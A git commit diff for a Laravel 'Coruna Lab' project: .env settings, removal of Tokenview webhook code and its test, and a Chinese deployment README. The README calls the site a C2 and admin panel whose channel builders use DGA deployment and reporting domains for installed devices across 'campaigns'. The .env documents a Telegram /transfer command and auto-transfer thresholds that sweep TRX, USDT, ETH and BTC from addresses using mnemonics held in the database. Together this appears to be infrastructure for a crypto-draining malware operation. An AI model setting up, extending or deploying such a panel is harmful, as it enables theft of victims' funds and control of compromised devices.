feat: clear alumb
This commit is contained in:
+36
-53
@@ -2,12 +2,7 @@ APP_NAME="Coruna Lab"
|
||||
APP_ENV=local
|
||||
APP_KEY=
|
||||
APP_DEBUG=true
|
||||
APP_URL=http://127.0.0.1:8000
|
||||
APP_TIMEZONE=Asia/Singapore
|
||||
|
||||
# Behind Cloudflare / Nginx reverse proxy: trust X-Forwarded-* for real client IP.
|
||||
# Use * when origin is only reachable via the proxy; otherwise list proxy CIDRs.
|
||||
TRUSTED_PROXIES=*
|
||||
APP_URL=https://example.com
|
||||
|
||||
APP_LOCALE=en
|
||||
APP_FALLBACK_LOCALE=en
|
||||
@@ -27,7 +22,7 @@ DB_CONNECTION=mysql
|
||||
DB_HOST=127.0.0.1
|
||||
DB_PORT=3306
|
||||
DB_DATABASE=coruna
|
||||
DB_USERNAME=root
|
||||
DB_USERNAME=coruna
|
||||
DB_PASSWORD=
|
||||
|
||||
# Fallback for smoke tests when MySQL creds unavailable:
|
||||
@@ -51,82 +46,70 @@ ADMIN_PASSWORD=admin123
|
||||
|
||||
# Optional: pin session key (16 ASCII). Empty = derive from archive password seed 0.
|
||||
CORUNA_SESSION_KEY=
|
||||
# Optional link-display hosts (not used by DGA binary patch). .env-only.
|
||||
|
||||
# Optional link-display hosts (not used by DGA binary patch).
|
||||
# Overridable by 系统设置 → 投放域名.
|
||||
CORUNA_LAB_CHANNEL_DOMAINS=
|
||||
CORUNA_REPORTING_DOMAINS=
|
||||
# Panel Host allowlists (comma/space separated). Empty = no restriction.
|
||||
# .env-only (not shown in Admin → 系统设置).
|
||||
|
||||
CORUNA_ADMIN_HOSTS=
|
||||
CORUNA_AGENT_HOSTS=
|
||||
# In-process channel builders (Python). Old: channel-builder → public/web|sync
|
||||
# New (xxbb/weifile): channel-builder-new → public/details + public/channel/<ver>/
|
||||
CORUNA_CHANNEL_BUILDER_PYTHON=
|
||||
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=
|
||||
CORUNA_ARTIFACT_ROOT=
|
||||
CORUNA_CHANNEL_STATE_ROOT=
|
||||
CORUNA_CHANNEL_NEW_STATE_ROOT=
|
||||
|
||||
# In-process channel-builder (Python).
|
||||
# Served assets: CORUNA_ARTIFACT_ROOT/web|sync (default: public/)
|
||||
# Seeds/state: CORUNA_CHANNEL_STATE_ROOT (default: storage/app/channel-builder)
|
||||
|
||||
# 内嵌 channel-builder(无 Build API;产物默认 public/)
|
||||
CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/python
|
||||
CORUNA_CHANNEL_BUILDER_NEW_PYTHON=/www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||
|
||||
CORUNA_ARTIFACT_ROOT=/www/wwwroot/coruna-lab/public
|
||||
CORUNA_CHANNEL_STATE_ROOT=/www/wwwroot/coruna-lab/storage/app/channel-builder
|
||||
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
|
||||
|
||||
|
||||
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
|
||||
CORUNA_STATIC_SITE_SCHEME=https
|
||||
# Shared native `c` (32 hex) for every new-builder channel. Drives DGA; not a per-channel id.
|
||||
# After `php artisan xxbb:build --random-c`, copy the printed XXBB_CHANNEL_C here.
|
||||
XXBB_CHANNEL_C=
|
||||
# Match iptj PageVisit → new-builder device by IP (minutes).
|
||||
XXBB_VISIT_MATCH_MINUTES=30
|
||||
# Max channel links per agent (.env-only)
|
||||
# Max channel links per agent (super-admin settings can override)
|
||||
CORUNA_MAX_CHANNELS_PER_AGENT=5
|
||||
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
|
||||
# mkdir -p bin && cp "$(command -v 7z)" bin/7z && chmod +x bin/7z
|
||||
# CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
||||
# Or set the system path (exec usually works; do not rely on is_executable):
|
||||
# CORUNA_7Z_BIN=/usr/bin/7z
|
||||
CORUNA_7Z_BIN=
|
||||
|
||||
CORUNA_7Z_BIN=/www/wwwroot/coruna-lab/bin/7z
|
||||
|
||||
# Telegram (outbound alerts + inbound Nutgram commands)
|
||||
# Bot Token / transfer recipients are .env-only (not editable in admin UI).
|
||||
TELEGRAM_BOT_TOKEN=
|
||||
TELEGRAM_OWNER_CHAT_ID=
|
||||
# Optional cache of @username; normally filled automatically via getMe
|
||||
# TELEGRAM_BOT_USERNAME=
|
||||
|
||||
# Optional; if set, register via: php artisan telegram:set-webhook
|
||||
TELEGRAM_WEBHOOK_SECRET=
|
||||
# Do not enable unless you understand Nutgram's md5(APP_KEY) secret check
|
||||
# NUTGRAM_SAFE_MODE=false
|
||||
|
||||
# /transfer recipients (fromAddress is the command arg; mnemonic from DB)
|
||||
# Usage: /transfer <fromAddress> [TRX|USDT|ETH|BTC] [amount] — omit amount = all
|
||||
TRANSFER_TO_ADDRESS=
|
||||
TRANSFER_TO_ADDRESS_ETH=
|
||||
TRANSFER_TO_ADDRESS_BTC=
|
||||
# TRON USDT fee top-up wallet (also editable in Admin → 系统设置)
|
||||
TRANSFER_FEE_ADDRESS_TRON=
|
||||
TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||
TRANSFER_FEE_TOPUP_TRX=20
|
||||
|
||||
# Official-channel auto transfer (also editable in Admin → 系统设置)
|
||||
AUTO_TRANSFER_ENABLED=0
|
||||
AUTO_TRANSFER_THRESHOLD_USDT=
|
||||
AUTO_TRANSFER_THRESHOLD_TRX=
|
||||
AUTO_TRANSFER_THRESHOLD_ETH=
|
||||
AUTO_TRANSFER_THRESHOLD_BTC=
|
||||
# TRANSFER_MAX_USDT=0
|
||||
# TRANSFER_MAX_TRX=0
|
||||
# TRANSFER_MAX_ETH=0
|
||||
# TRANSFER_MAX_BTC=0
|
||||
# TRANSFER_MAX_DERIVE_INDEX=20
|
||||
# TRANSFER_TRX_FEE_RESERVE=1
|
||||
# TRANSFER_ETH_FEE_RESERVE=0.001
|
||||
# TRANSFER_BTC_FEE_RESERVE=0.0001
|
||||
|
||||
TRON_FULL_NODE=https://api.trongrid.io
|
||||
TRON_API_KEY=
|
||||
TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
|
||||
ETH_RPC_URL=https://ethereum.publicnode.com
|
||||
# ETH_CHAIN_ID=1
|
||||
ETH_USDT_CONTRACT=0xdAC17F958D2ee523a2206206994597C13D831ec7
|
||||
BTC_API_URL=https://mempool.space/api
|
||||
# BTC_FEE_RATE=0
|
||||
|
||||
# Tokenview address tracking (monitor=1 addresses)
|
||||
TOKENVIEW_API_KEY=
|
||||
TOKENVIEW_SIGN_KEY=
|
||||
# TOKENVIEW_BASE_URL=https://services.tokenview.io/vipapi
|
||||
|
||||
TRUSTED_PROXIES=*
|
||||
XXBB_CHANNEL_C=
|
||||
TELEGRAM_BOT_USERNAME=
|
||||
AUTO_TRANSFER_ENABLED=0
|
||||
AUTO_TRANSFER_THRESHOLD_USDT=
|
||||
AUTO_TRANSFER_THRESHOLD_TRX=
|
||||
AUTO_TRANSFER_THRESHOLD_ETH=
|
||||
AUTO_TRANSFER_THRESHOLD_BTC=
|
||||
TRANSFER_FEE_ADDRESS_TRON=
|
||||
TRANSFER_FEE_TOPUP_TRX=20
|
||||
TRANSFER_FEE_PRIVATE_KEY_TRON=
|
||||
|
||||
@@ -12,50 +12,6 @@ class TokenviewClient
|
||||
return (string) config('coruna.tokenview.api_key') !== '';
|
||||
}
|
||||
|
||||
public function setWebhookUrl(string $url): bool
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/setwebhookurl';
|
||||
try {
|
||||
$resp = Http::timeout(20)
|
||||
->withBody($url, 'text/plain')
|
||||
->post($endpoint.'?apikey='.urlencode((string) config('coruna.tokenview.api_key')));
|
||||
|
||||
return $resp->successful() && (int) $resp->json('code') === 1;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview setWebhookUrl failed: '.$e->getMessage());
|
||||
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public function getWebhookUrl(): ?string
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$endpoint = rtrim((string) config('coruna.tokenview.base_url'), '/').'/monitor/getwebhookurl';
|
||||
try {
|
||||
$resp = Http::timeout(20)->get($endpoint, [
|
||||
'apikey' => (string) config('coruna.tokenview.api_key'),
|
||||
]);
|
||||
if (! $resp->successful() || (int) $resp->json('code') !== 1) {
|
||||
return null;
|
||||
}
|
||||
$data = $resp->json('data');
|
||||
|
||||
return is_string($data) && $data !== '' ? $data : null;
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('tokenview getWebhookUrl failed: '.$e->getMessage());
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public function addAddress(string $coinAbbr, string $address): bool
|
||||
{
|
||||
return $this->mutateAddress('add', $coinAbbr, $address);
|
||||
|
||||
+4
-1
@@ -11,7 +11,10 @@ return [
|
||||
'safe_mode' => (bool) env('NUTGRAM_SAFE_MODE', false),
|
||||
|
||||
// Extra or specific configurations
|
||||
'config' => [],
|
||||
'config' => [
|
||||
// Baota PHP curl is often built without nghttp2; Guzzle HTTP/2 then fatals.
|
||||
'enable_http2' => (bool) env('NUTGRAM_ENABLE_HTTP2', false),
|
||||
],
|
||||
|
||||
// Set if the service provider should automatically load
|
||||
// handlers from /routes/telegram.php
|
||||
|
||||
+32
-44
@@ -2,21 +2,23 @@
|
||||
|
||||
同机部署:Laravel 内嵌两套 Python 构建器直接写产物;Admin / C2 与静态产物站对外。**不再需要**独立 Build API / 8081。
|
||||
|
||||
| 构建器 | 路径 | 渠道 ID | 产物 |
|
||||
| --- | --- | --- | --- |
|
||||
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
|
||||
|
||||
| 构建器 | 路径 | 渠道 ID | 产物 |
|
||||
| ---------------------------------------- | -------------------------------- | ------------------------ | ---------------------------------------------- |
|
||||
| 旧版 `channel-builder` | `coruna-lab/channel-builder` | 32-hex | `public/web/<id>/` + 共享 `public/sync/` |
|
||||
| 新版 `channel-builder-new`(xxbb / weifile) | `coruna-lab/channel-builder-new` | `X.Y.ZZ`(6 位,如 `A.B.C1`) | `public/channel/<ver>/`;共享模板 `public/details/` |
|
||||
|
||||
新版用环境变量 **`XXBB_CHANNEL_C`(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
|
||||
|
||||
新版用环境变量 `XXBB_CHANNEL_C`**(32-hex)** 作为全站共享 DGA / 上报字段 `c`;渠道之间靠版本号 `ver` 区分,不是靠 `c`。
|
||||
|
||||
## 架构
|
||||
|
||||
|
||||
| 角色 | 项目 / 路径 | 对外 | 进程 |
|
||||
| --- | --- | --- | --- |
|
||||
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
|
||||
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
|
||||
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
|
||||
| 角色 | 项目 / 路径 | 对外 | 进程 |
|
||||
| --------------- | -------------------------------- | --------------------------- | --------------- |
|
||||
| C2 / Admin / 静态 | `coruna-lab`(`public/`) | `https://admin.example.com` | Nginx + PHP-FPM |
|
||||
| 旧版构建 | `coruna-lab/channel-builder` | 无(PHP Process 调用) | Python venv |
|
||||
| 新版构建 | `coruna-lab/channel-builder-new` | 无(PHP Process 调用) | Python venv |
|
||||
|
||||
|
||||
```text
|
||||
@@ -55,7 +57,7 @@
|
||||
|
||||
软件商店安装:
|
||||
|
||||
- Nginx
|
||||
- Nginxphp artisan migrate
|
||||
- MySQL 8.0
|
||||
- PHP **8.2+**(站点选用;宝塔可多版本并存,按站点切换)
|
||||
- Python 3.10+(系统或面板)
|
||||
@@ -110,8 +112,6 @@ client_max_body_size 64m;
|
||||
|
||||
两套可并存;后台创建渠道时选「旧版 / 新版」。上线若要开新版渠道,**两套 venv 都要装**。
|
||||
|
||||
|
||||
|
||||
### 1.1 旧版 `channel-builder`
|
||||
|
||||
```bash
|
||||
@@ -124,8 +124,6 @@ pip install -r requirements.txt
|
||||
|
||||
产物:`public/web/<32-hex>/`、`public/sync/`;状态:`storage/app/channel-builder/`。
|
||||
|
||||
|
||||
|
||||
### 1.2 新版 `channel-builder-new`(xxbb / weifile)
|
||||
|
||||
```bash
|
||||
@@ -140,11 +138,13 @@ pip install -r requirements.txt
|
||||
|
||||
产物与状态:
|
||||
|
||||
| 路径 | 作用 |
|
||||
| --- | --- |
|
||||
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
|
||||
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
|
||||
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
|
||||
|
||||
| 路径 | 作用 |
|
||||
| ---------------------------------- | ------------------------------------------------------ |
|
||||
| `public/details/` | 共享模板(`xxbb:build` / 创建渠道前 `build.py --apply` 写入) |
|
||||
| `public/channel/<ver>/` | 每渠道独占树(`weifile/` + `details/` 等,`pack_channel.py` 写入) |
|
||||
| `storage/app/channel-builder-new/` | `lab_seeds.json`、`out/weifile/`(staged,不对外) |
|
||||
|
||||
|
||||
创建新版渠道时 Laravel 会:
|
||||
|
||||
@@ -153,8 +153,6 @@ pip install -r requirements.txt
|
||||
|
||||
因此上线前必须先配置好 `XXBB_CHANNEL_C`(见 1.4)。
|
||||
|
||||
|
||||
|
||||
### 1.3 权限与静态路径(Admin 站点 Nginx)
|
||||
|
||||
```bash
|
||||
@@ -208,8 +206,6 @@ location /details/ {
|
||||
|
||||
**首次创建渠道后**,用返回的 DGA `domains.deployment` / `domains.reporting` 注册域名,反代到同一 `public/`(reporting → C2;新版短路径 C2 见 `routes/xxbb.php`)。
|
||||
|
||||
|
||||
|
||||
### 1.4 首次生成 `XXBB_CHANNEL_C`(仅新版需要)
|
||||
|
||||
新版创建渠道前 `.env` 必须有共享 `c`。任选其一:
|
||||
@@ -473,13 +469,6 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
|
||||
1. 群无回复但日志有 `AuthorizedChat: chat rejected`:把 `TELEGRAM_OWNER_CHAT_ID`(或后台设置)改成日志里的真实 `chat_id`(超群多为 `-100...`),再 `config:clear`。
|
||||
|
||||
可选(地址监控):若启用 Tokenview,可另执行:
|
||||
|
||||
```bash
|
||||
/www/server/php/82/bin/php artisan tokenview:set-webhook
|
||||
# 默认 → https://<APP_URL>/hooks/tokenview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -502,14 +491,14 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
|
||||
## 4. 日常运维
|
||||
|
||||
|
||||
| 动作 | 命令 / 操作 |
|
||||
| --- | --- |
|
||||
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
|
||||
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
|
||||
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
|
||||
| 动作 | 命令 / 操作 |
|
||||
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
|
||||
| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`;必要时 `php artisan xxbb:build` 刷新共享 `/details`;已有渠道再跑 `php artisan xxbb:repack` |
|
||||
| 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
|
||||
| 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
|
||||
| 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
|
||||
| 勿改线上 `XXBB_CHANNEL_C` | 改了会导致新版 DGA 域名与已装设备不一致;换战役需整体重部署策略 |
|
||||
|
||||
|
||||
当前 `QUEUE_CONNECTION=sync`,一般无需单独 queue worker。
|
||||
@@ -575,9 +564,8 @@ CORUNA_CHANNEL_BUILDER_PYTHON=/www/wwwroot/coruna-lab/channel-builder/.venv/bin/
|
||||
/www/server/php/82/bin/php artisan config:clear
|
||||
```
|
||||
|
||||
2. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
|
||||
|
||||
3. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
|
||||
1. 部署含 `venvPythonExists()`(先 `is_link`、不跟到 `/usr/bin`)的代码后即可自动探测。
|
||||
2. **不推荐**:把 `/usr/bin/` 加进站点 `open_basedir`(面过大)。
|
||||
|
||||
自检:
|
||||
|
||||
@@ -586,6 +574,8 @@ ls -la /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python
|
||||
# 常见:… -> /usr/bin/python3.10
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Nginx:`unknown directive "32}/(web|sync)/"`
|
||||
|
||||
location 正则未加引号,`{32}` 被当成配置块。改为:
|
||||
@@ -596,8 +586,6 @@ location ~ "^/web/[0-9a-f]{32}/" {
|
||||
|
||||
新版 `/channel/` 正则同理,花括号必须放在引号内。
|
||||
|
||||
|
||||
|
||||
### `apt` 因 gitlab-ce 源 404 失败
|
||||
|
||||
```bash
|
||||
@@ -660,4 +648,4 @@ chmod -R ug+rwx storage/framework/sessions
|
||||
- 或把 `CORUNA_ARTIFACT_ROOT` 指到共享盘,静态机 Nginx root 指向该盘
|
||||
- seed / staged 状态仍放在 lab:`CORUNA_CHANNEL_STATE_ROOT`、`CORUNA_CHANNEL_NEW_STATE_ROOT`
|
||||
|
||||
同机时无需拆分,Admin `public/` 即静态根。
|
||||
同机时无需拆分,Admin `public/` 即静态根。
|
||||
@@ -1,7 +1,6 @@
|
||||
<?php
|
||||
|
||||
use App\Services\ChannelProjectService;
|
||||
use App\Services\Tokenview\TokenviewClient;
|
||||
use Illuminate\Foundation\Inspiring;
|
||||
use Illuminate\Support\Facades\Artisan;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
@@ -16,26 +15,6 @@ Artisan::command('inspire', function () {
|
||||
$this->comment(Inspiring::quote());
|
||||
})->purpose('Display an inspiring quote');
|
||||
|
||||
Artisan::command('tokenview:set-webhook {url?}', function (?string $url = null) {
|
||||
/** @var TokenviewClient $client */
|
||||
$client = app(TokenviewClient::class);
|
||||
if (! $client->enabled()) {
|
||||
$this->error('TOKENVIEW_API_KEY is empty');
|
||||
|
||||
return 1;
|
||||
}
|
||||
$url = $url ?: rtrim((string) config('app.url'), '/').'/hooks/tokenview';
|
||||
$this->info('Setting webhook URL: '.$url);
|
||||
if ($client->setWebhookUrl($url)) {
|
||||
$this->info('OK');
|
||||
|
||||
return 0;
|
||||
}
|
||||
$this->error('Failed — check Tokenview API response / credentials');
|
||||
|
||||
return 1;
|
||||
})->purpose('Register Tokenview address-tracking webhook URL');
|
||||
|
||||
Artisan::command('telegram:set-webhook {url?}', function (?string $url = null) {
|
||||
$token = (string) config('nutgram.token', '');
|
||||
if ($token === '') {
|
||||
|
||||
@@ -6,7 +6,6 @@ use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\TokenviewEvent;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\Tokenview\TokenviewClient;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
@@ -327,27 +326,4 @@ class TokenviewWebhookTest extends TestCase
|
||||
return str_contains($request->url(), '/monitor/address/remove/eth/');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function set_webhook_command_posts_url(): void
|
||||
{
|
||||
config([
|
||||
'coruna.tokenview.api_key' => 'test-key',
|
||||
'coruna.tokenview.base_url' => 'https://services.tokenview.io/vipapi',
|
||||
'app.url' => 'https://example.test',
|
||||
]);
|
||||
Http::fake([
|
||||
'services.tokenview.io/*' => Http::response(['code' => 1, 'msg' => 'success'], 200),
|
||||
]);
|
||||
|
||||
$this->artisan('tokenview:set-webhook')
|
||||
->assertSuccessful();
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/monitor/setwebhookurl')
|
||||
&& $request->body() === 'https://example.test/hooks/tokenview';
|
||||
});
|
||||
|
||||
$this->assertTrue(app(TokenviewClient::class)->enabled());
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user